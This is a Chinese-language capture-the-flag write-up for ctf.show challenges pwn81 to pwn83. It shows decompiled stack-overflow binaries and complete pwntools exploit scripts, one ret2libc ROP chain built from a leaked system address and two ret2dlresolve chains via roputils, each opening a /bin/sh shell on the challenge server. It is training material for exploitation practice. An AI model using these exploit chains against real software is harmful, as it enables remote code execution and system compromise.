# 收获的题目
# pwn81(开启 pie,利用 libc 的 system 地址得到 libc 基地址)
dlopen 函数是打开一个动态共享库
dlsym 函数是在打开的动态库中查找符号的值,返回该符号(函数 / 变量)的地址
# 题目:
题目描述: ROP变种
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
main:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
void *v3; // rax | |
void *handle; // [rsp+8h] [rbp-8h] | |
init(argc, argv, envp); | |
logo(); | |
puts("Maybe it's simple,O.o"); | |
handle = dlopen("libc.so.6", 258); | |
v3 = dlsym(handle, "system"); | |
printf("%p\n", v3); | |
ctfshow(); | |
write(1, "Hello CTFshow!\n", 0xFuLL); | |
return 0; | |
} |
ctfshow:
ssize_t ctfshow() | |
{ | |
char buf[128]; // [rsp+0h] [rbp-80h] BYREF | |
return read(0, buf, 0x100uLL); | |
} |
打印了 system 的地址,我们写入一个 /bin/sh
,就可以执行,反正可以溢出,
接着需要考虑如何泄露 /bin/sh
的地址,或者这里用的得到的 libc 里 system 的地址来推出 libc 的地址去得到 /bin/sh
,这里还有注意 栈对齐
,没找的 ret
就利用了 nop ; ret
的地址
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
#p=process('./pwn81') | |
e=ELF('./pwn81') | |
p=remote("pwn.challenge.ctf.show",28271) | |
libc=ELF("./64libc.so.6") | |
#p=remote('node4.buuoj.cn',28249) | |
rdi_ret=0x000000000002164f #libc.so.6 的 pop_rdi;ret 地址 | |
nop_ret=0x000000000001b5a8 #来进行栈对齐的相当于 ret | |
p.recvuntil("O.o\n") | |
system_r=int(p.recv(14),16) | |
#libc=LibcSearcher("system",system_r) | |
libc_base=system_r-libc.sym["system"] | |
binsh=libc_base+next(libc.search(b"/bin/sh")) | |
print("system:",hex(system_r)) | |
print("binsh:",hex(binsh)) | |
payload=b"a"*(0x80+8)+p64(libc_base+nop_ret)+p64(libc_base+rdi_ret)+p64(binsh)+p64(system_r) | |
p.send(payload) | |
p.interactive() |
# pwn82 (32 位 dl_runtime_resolve
, NO-RELRO
)
# 题目:
题目描述: 高级ROP 32 位 NO-RELRO
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
保护只有 nx
这里利用 ret2libc 可以得到 flag,但是这里进行 dl_runtime_resolve
学习,所以换个方式
关于 ret2dlresolve
的利用,看专题 ret2dlresolve
篇
main函数:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
size_t v3; // eax | |
char buf[112]; // [esp+0h] [ebp-7Ch] BYREF | |
int *v6; // [esp+70h] [ebp-Ch] | |
v6 = &argc; | |
strcpy(buf, "Welcome to CTFshowPWN!\n"); | |
memset(&buf[24], 0, 0x4Cu); | |
setbuf(stdout, buf); | |
v3 = strlen(buf); | |
write(1, buf, v3); | |
show(); | |
return 0; | |
} |
show函数:
ssize_t show() | |
{ | |
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF | |
setbuf(stdin, buf); | |
return read(0, buf, 0x100u); | |
} |
可以进行溢出
这里直接利用 roputils
库构造 (需要将 roputils 文件放入同一文件夹下,并且 python3 无法执行):
from pwn import *
from roputils import *
processName = 'pwn82'
offset = 112
#r = process('./' + processName)
context.log_level = 'debug'
r=remote("pwn.challenge.ctf.show", 28147)
rop = ROP('./' + processName)
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
# pwn83 (ret2dlresolve,32 位 Partial-RELRO)
32 位程序,开启了部分 RELRO
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
size_t v3; // eax | |
char buf[112]; // [esp+0h] [ebp-7Ch] BYREF | |
int *v6; // [esp+70h] [ebp-Ch] | |
v6 = &argc; | |
strcpy(buf, "Welcome to CTFshowPWN!\n"); | |
memset(&buf[24], 0, 0x4Cu); | |
setbuf(stdout, buf); | |
v3 = strlen(buf); | |
write(1, buf, v3); | |
show(); | |
return 0; | |
} | |
ssize_t show() | |
{ | |
char buf[104]; // [esp+Ch] [ebp-6Ch] BYREF | |
setbuf(stdin, buf); | |
return read(0, buf, 0x100u); | |
} |
仍然利用 roputils
一把梭
from pwn import * | |
from roputils import * | |
processName = 'pwn83' | |
offset = 112 | |
#r = process('./' + processName) | |
context.log_level = 'debug' | |
r=remote("pwn.challenge.ctf.show", 28128) | |
rop = ROP('./' + processName) | |
bss_base = rop.section('.bss') | |
buf = rop.fill(offset) | |
buf += rop.call('read', 0, bss_base, 100) | |
## used to call dl_Resolve() | |
buf += rop.dl_resolve_call(bss_base + 20, bss_base) | |
r.send(buf) | |
buf = rop.string('/bin/sh') | |
buf += rop.fill(20, buf) | |
## used to make faking data, such relocation, Symbol, Str | |
buf += rop.dl_resolve_data(bss_base + 20, 'system') | |
buf += rop.fill(100, buf) | |
r.send(buf) | |
r.interactive() |